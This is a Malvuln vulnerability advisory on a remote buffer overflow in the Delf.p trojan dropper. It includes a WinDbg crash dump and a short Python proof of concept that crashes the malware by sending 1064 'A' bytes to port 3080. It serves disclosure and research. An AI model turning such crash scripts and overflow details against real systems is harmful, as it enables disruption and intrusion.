Trojan-Dropper.Win32.Delf.p malware suffers from a buffer overflow vulnerability.
085fa226246f4adf369810d4b6c8166cDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Delf.p
Vulnerability: Remote Buffer Overflow
Description: Delf.p accepts connections on various TCP/UDP ports. Attackers who can reach TCP port 3080 can send a specially crafted packet to trigger a buffer overflow corrupting the stack overwriting ECX register.
Type: PE32
MD5: b02cc578d2e7f24fb67ec0afc42a9e13
Vuln ID: MVID-2021-0133
Dropped files: mmtask.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/16/2021
Memory Dump:
(b7c.f00): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414135 edx=00000008 esi=00000003 edi=00000003
eip=7710ed3c esp=0580f56c ebp=0580f6fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:012> .ecxr
eax=ffffffff ebx=04408440 ecx=41414135 edx=00000008 esi=04e4b09d edi=04e40048
eip=761972cb esp=0580fe8c ebp=0580fe8c iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
kernel32!InterlockedDecrementStub+0xb:
761972cb f00fc101 lock xadd dword ptr [ecx],eax ds:002b:41414135=????????
*** WARNING: Unable to verify timestamp for mmtask.exe
*** ERROR: Module load completed but symbols could not be loaded for mmtask.exe
0:012> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
kernel32!InterlockedDecrementStub+b
761972cb f00fc101 lock xadd dword ptr [ecx],eax
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 761972cb (kernel32!InterlockedDecrementStub+0x0000000b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414135
Attempt to write to address 41414135
PROCESS_NAME: mmtask.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 41414135
WRITE_ADDRESS: 41414135
FOLLOWUP_IP:
mmtask+99891
00499891 85c0 test eax,eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000f00
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff
LAST_CONTROL_TRANSFER: from 00499891 to 761972cb
STACK_TEXT:
0580fe8c 00499891 41414135 04e40048 00410098 kernel32!InterlockedDecrementStub+0xb
WARNING: Stack unwind information not available. Following frames may be wrong.
0580feb0 0040fca8 025191c8 00498a85 00000001 mmtask+0x99891
0580ff4c 00485c89 051bfb0c 00485c20 00485c20 mmtask+0xfca8
0580ff80 76198654 04408440 76198630 e41feed3 mmtask+0x85c89
0580ff94 77104a77 04408440 9dc38a17 00000000 kernel32!BaseThreadInitThunk+0x24
0580ffdc 77104a47 ffffffff 77129ed9 00000000 ntdll!__RtlUserThreadStart+0x2f
0580ffec 00000000 00485c20 04408440 00000000 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: mmtask+99891
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mmtask
IMAGE_NAME: mmtask.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 367709e4
STACK_COMMAND: ~12s; .ecxr ; kb
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mmtask.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mmtask+99891
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=3080
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
dirty0tis_made_me_do_it="A"*1064
s.send(dirty0tis_made_me_do_it)
s.close()
print("Trojan-Dropper.Win32.Delf.p / Remote Buffer Overflow")
print("MD5: b02cc578d2e7f24fb67ec0afc42a9e13")
print("By Malvuln")
if __name__=="__main__":
doit()
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